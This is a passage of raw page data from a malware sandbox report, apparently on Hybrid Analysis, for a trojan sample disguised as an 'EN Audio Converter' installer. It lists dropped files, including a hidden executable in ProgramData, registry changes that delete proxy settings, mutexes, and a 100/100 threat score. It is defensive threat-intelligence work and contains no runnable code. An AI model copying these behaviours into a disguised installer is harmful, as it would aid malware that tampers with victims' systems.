Converter\\is-LQI1F.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-TPA0O.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-AELBE.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-7PN84.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-L1MRP.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-Q9BJC.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-3BCJK.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-2IO80.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-64RE8.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-AA0EN.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-52ANA.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-42S1G.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-EFGGK.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-D4K9H.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-QH289.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-37ND9.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-Q6LUK.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-N5UEG.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-NPVS8.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-2R1O5.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-7FOO0.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-80NSF.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-UHOD0.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-LLR2S.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-10H0H.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-CTH64.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-0DMO8.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-OOI25.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-77VVV.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-D78I7.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-J39VP.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-589UP.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Microsoft.VC90.CRT\\is-G0E21.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Microsoft.VC90.CRT\\is-64VRH.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Microsoft.VC90.CRT\\is-H8J9A.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Microsoft.VC90.CRT\\is-3H0LF.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-BQ8MF.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-3GIGP.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-C5JUJ.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-GSKMV.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-8G0H2.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-AQBKO.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-P6RDE.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-HFB82.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-GJ79H.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-M9RU5.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-F0L7G.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-FOM1G.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-F2DRL.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-5BFNP.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-DJN2K.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-J9PG0.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-6O276.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-FR50B.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-L2EOF.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-00IKB.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-L2DFR.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-HS1AK.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-M7G6S.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-NNT38.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\iramsoft.url","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%ALLUSERSPROFILE%\\Pop3SessionLog_64\\Pop3SessionLog_64.exe","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%ALLUSERSPROFILE%\\ts64.dat","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%ALLUSERSPROFILE%\\resource-a.dat","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%ALLUSERSPROFILE%\\resource-b.dat","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%ALLUSERSPROFILE%\\rc64.dat","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\RESTARTMANAGER\\SESSION0000\\","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"key":"HKCUHKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\RESTARTMANAGER\\","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SESSION MANAGER\\MEMORY MANAGEMENT\\","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"key":"HKLMHKLM\\SOFTWARE\\TLGRAPHICSMODE\\","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTODETECT\\AUTODETECT","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]}]},"mutex_activity":{"mutex_created":[{"name":"Local\\SM0:824:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"SM0:824:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"Local\\SM0:5244:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"SM0:5244:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]}]}},"report_ids":{"sandbox_job_ids":["6a8b4c812756b4af3e0f227e","65a7a731253eb3b1390307c2"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 4681dc1aa40c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 4681dc1aa40c…. Malware family: Trojan.Generic. Threat score 100/100. 7/26 AV engines flagged this file. 14 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 4681dc1aa40c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 4681dc1aa40c…. Malware family: Trojan.Generic. Threat score 100/100. 7/26 AV engines flagged this file. 14 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 4681dc1aa40c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 4681dc1aa40c…. Malware family: Trojan.Generic. Threat score 100/100. 7/26 AV engines flagged this file. 14 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L6f","11",{}]]